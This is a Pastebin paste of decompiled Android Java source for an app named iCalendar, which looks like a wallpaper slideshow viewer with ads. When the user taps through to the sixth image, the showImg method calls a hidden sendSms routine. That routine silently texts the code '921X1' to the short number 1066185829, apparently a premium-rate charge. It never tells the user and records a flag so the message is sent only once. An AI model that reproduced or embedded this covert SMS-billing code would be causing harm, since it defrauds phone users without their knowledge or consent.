Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.mj.iCalendar;
- import android.app.Activity;
- import android.app.AlertDialog;
- import android.app.AlertDialog.Builder;
- import android.app.PendingIntent;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.content.res.Resources;
- import android.graphics.Bitmap;
- import android.graphics.drawable.BitmapDrawable;
- import android.graphics.drawable.Drawable;
- import android.os.Bundle;
- import android.os.Handler;
- import android.telephony.gsm.SmsManager;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.view.View.OnLongClickListener;
- import android.widget.AdapterView;
- import android.widget.AdapterView.OnItemClickListener;
- import android.widget.GridView;
- import android.widget.ListAdapter;
- import android.widget.SimpleAdapter;
- import android.widget.Toast;
- import com.admob.android.ads.AdView;
- import java.io.IOException;
- import java.io.PrintStream;
- import java.util.ArrayList;
- import java.util.HashMap;
- import java.util.Timer;
- import java.util.TimerTask;
- public class iCalendar extends Activity
- implements View.OnClickListener, View.OnLongClickListener, AdapterView.OnItemClickListener
- {
- public static long iStartTime = 0L;
- private GridView dialogGridView;
- private boolean iAutoFlag;
- private Drawable iDrawable;
- private boolean iTouch;
- private int index;
- private Handler mHandler;
- private Timer mTimer;
- private TimerTask mTimerTask;
- private View main;
- AlertDialog menuDialog;
- int[] menu_image_array1;
- int[] menu_image_array2;
- private String[] menu_name_array1;
- private String[] menu_name_array2;
- private SharedPreferences scDB;
- private String scNumber = "iBookN";
- private String scState = "iBookS";
- private String scTable = "iBookT";
- private String tag = "iBook";
- public iCalendar()
- {
- String[] arrayOfString1 = new String[4];
- arrayOfString1[0] = "退出程序";
- arrayOfString1[1] = "设置桌面";
- arrayOfString1[2] = "自动播放";
- arrayOfString1[3] = "返回程序";
- this.menu_name_array1 = arrayOfString1;
- int[] arrayOfInt1 = { 2130837521, 2130837520, 2130837518, 2130837523 };
- this.menu_image_array1 = arrayOfInt1;
- String[] arrayOfString2 = new String[4];
- arrayOfString2[0] = "退出程序";
- arrayOfString2[1] = "设置桌面";
- arrayOfString2[2] = "手动播放";
- arrayOfString2[3] = "返回程序";
- this.menu_name_array2 = arrayOfString2;
- int[] arrayOfInt2 = { 2130837521, 2130837520, 2130837522, 2130837523 };
- this.menu_image_array2 = arrayOfInt2;
- }
- private void findAD()
- {
- AdView localAdView = (AdView)findViewById(2131034117);
- localAdView.setAlwaysDrawnWithCacheEnabled(1);
- localAdView.requestFreshAd();
- }
- private ListAdapter getMenuAdapter(String[] paramArrayOfString, int[] paramArrayOfInt)
- {
- ArrayList localArrayList = new ArrayList();
- int i = 0;
- while (true)
- {
- int j = paramArrayOfString.length;
- if (i >= j)
- {
- String[] arrayOfString = new String[2];
- arrayOfString[0] = "itemImage";
- arrayOfString[1] = "itemText";
- int[] arrayOfInt = { 2131034114, 2131034115 };
- iCalendar localiCalendar = this;
- return new SimpleAdapter(localiCalendar, localArrayList, 2130903042, arrayOfString, arrayOfInt);
- }
- HashMap localHashMap = new HashMap();
- Integer localInteger = Integer.valueOf(paramArrayOfInt[i]);
- Object localObject1 = localHashMap.put("itemImage", localInteger);
- String str = paramArrayOfString[i];
- Object localObject2 = localHashMap.put("itemText", str);
- boolean bool = localArrayList.add(localHashMap);
- i += 1;
- }
- }
- private void openDialog(int paramInt)
- {
- View localView = View.inflate(this, 2130903040, null);
- AlertDialog localAlertDialog = new AlertDialog.Builder(this).create();
- this.menuDialog = localAlertDialog;
- this.menuDialog.setView(localView);
- GridView localGridView1 = (GridView)localView.findViewById(2131034112);
- this.dialogGridView = localGridView1;
- switch (paramInt)
- {
- default:
- case 0:
- case 1:
- }
- while (true)
- {
- this.dialogGridView.setOnItemClickListener(this);
- this.menuDialog.show();
- return;
- GridView localGridView2 = this.dialogGridView;
- String[] arrayOfString1 = this.menu_name_array1;
- int[] arrayOfInt1 = this.menu_image_array1;
- ListAdapter localListAdapter1 = getMenuAdapter(arrayOfString1, arrayOfInt1);
- localGridView2.setAdapter(localListAdapter1);
- continue;
- GridView localGridView3 = this.dialogGridView;
- String[] arrayOfString2 = this.menu_name_array2;
- int[] arrayOfInt2 = this.menu_image_array2;
- ListAdapter localListAdapter2 = getMenuAdapter(arrayOfString2, arrayOfInt2);
- localGridView3.setAdapter(localListAdapter2);
- }
- }
- private void showImg()
- {
- if (this.index == 5)
- sendSms();
- if (this.index >= 33);
- int k;
- for (this.index = 0; ; this.index = k)
- {
- Resources localResources = getResources();
- int i = this.index;
- int j = 2130837505 + i;
- Drawable localDrawable1 = localResources.getDrawable(j);
- this.iDrawable = localDrawable1;
- View localView = this.main;
- Drawable localDrawable2 = this.iDrawable;
- localView.setBackgroundDrawable(localDrawable2);
- return;
- k = this.index + 1;
- }
- }
- public void autoPlay()
- {
- Timer localTimer1 = new Timer();
- this.mTimer = localTimer1;
- iCalendar.1 local1 = new iCalendar.1(this);
- this.mHandler = local1;
- iCalendar.2 local2 = new iCalendar.2(this);
- this.mTimerTask = local2;
- Timer localTimer2 = this.mTimer;
- TimerTask localTimerTask = this.mTimerTask;
- localTimer2.schedule(localTimerTask, 1000L, 3000L);
- this.iAutoFlag = 1;
- }
- public String getStateVal()
- {
- String str1 = this.scTable;
- SharedPreferences localSharedPreferences1 = getSharedPreferences(str1, 0);
- this.scDB = localSharedPreferences1;
- SharedPreferences localSharedPreferences2 = this.scDB;
- String str2 = this.scState;
- return localSharedPreferences2.getString(str2, "");
- }
- public long getTimeVal()
- {
- String str1 = this.scTable;
- SharedPreferences localSharedPreferences1 = getSharedPreferences(str1, 0);
- this.scDB = localSharedPreferences1;
- SharedPreferences localSharedPreferences2 = this.scDB;
- String str2 = this.scNumber;
- long l = System.currentTimeMillis();
- return localSharedPreferences2.getLong(str2, l);
- }
- public void onClick(View paramView)
- {
- View localView = this.main;
- if ((paramView.equals(localView)) && (!this.iTouch))
- showImg();
- }
- public void onCreate(Bundle paramBundle)
- {
- super.onCreate(paramBundle);
- boolean bool = requestWindowFeature(1);
- setContentView(2130903043);
- View localView = findViewById(2131034116);
- this.main = localView;
- this.main.setOnClickListener(this);
- this.main.setOnLongClickListener(this);
- findAD();
- }
- protected void onDestroy()
- {
- super.onDestroy();
- }
- public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong)
- {
- PrintStream localPrintStream = System.out;
- String str = "arg2 = " + paramInt;
- localPrintStream.println(str);
- GridView localGridView = this.dialogGridView;
- if (paramAdapterView.equals(localGridView))
- switch (paramInt)
- {
- default:
- case 0:
- case 1:
- case 2:
- case 3:
- }
- while (true)
- {
- this.iTouch = 0;
- return;
- finish();
- continue;
- try
- {
- if (this.iDrawable == null)
- {
- Drawable localDrawable = getResources().getDrawable(2130837505);
- this.iDrawable = localDrawable;
- }
- Bitmap localBitmap = ((BitmapDrawable)this.iDrawable).getBitmap();
- getApplicationContext().setWallpaper(localBitmap);
- this.menuDialog.cancel();
- Toast.makeText(this, "设置桌面成功!", 1).show();
- }
- catch (IOException localIOException)
- {
- while (true)
- localIOException.printStackTrace();
- }
- if (!this.iAutoFlag)
- autoPlay();
- while (true)
- {
- this.menuDialog.cancel();
- break;
- boolean bool = this.mTimerTask.cancel();
- this.iAutoFlag = 0;
- }
- this.menuDialog.cancel();
- }
- }
- public boolean onLongClick(View paramView)
- {
- View localView = this.main;
- if (paramView.equals(localView))
- {
- if (this.iAutoFlag)
- break label33;
- openDialog(0);
- }
- while (true)
- {
- this.iTouch = 1;
- return false;
- label33: openDialog(1);
- }
- }
- protected void onPause()
- {
- super.onPause();
- }
- protected void onResume()
- {
- iStartTime = getTimeVal();
- super.onResume();
- }
- public void save()
- {
- SharedPreferences.Editor localEditor1 = this.scDB.edit();
- String str1 = this.scState;
- SharedPreferences.Editor localEditor2 = localEditor1.putString(str1, "Y");
- String str2 = this.scNumber;
- long l = System.currentTimeMillis();
- SharedPreferences.Editor localEditor3 = localEditor1.putLong(str2, l);
- boolean bool = localEditor1.commit();
- }
- public void sendSms()
- {
- String str = getStateVal();
- if (!"Y".equals(str))
- {
- SmsManager localSmsManager = SmsManager.getDefault();
- Intent localIntent = new Intent();
- PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this, 0, localIntent, 0);
- PendingIntent localPendingIntent2 = null;
- localSmsManager.sendTextMessage("1066185829", null, "921X1", localPendingIntent1, localPendingIntent2);
- save();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement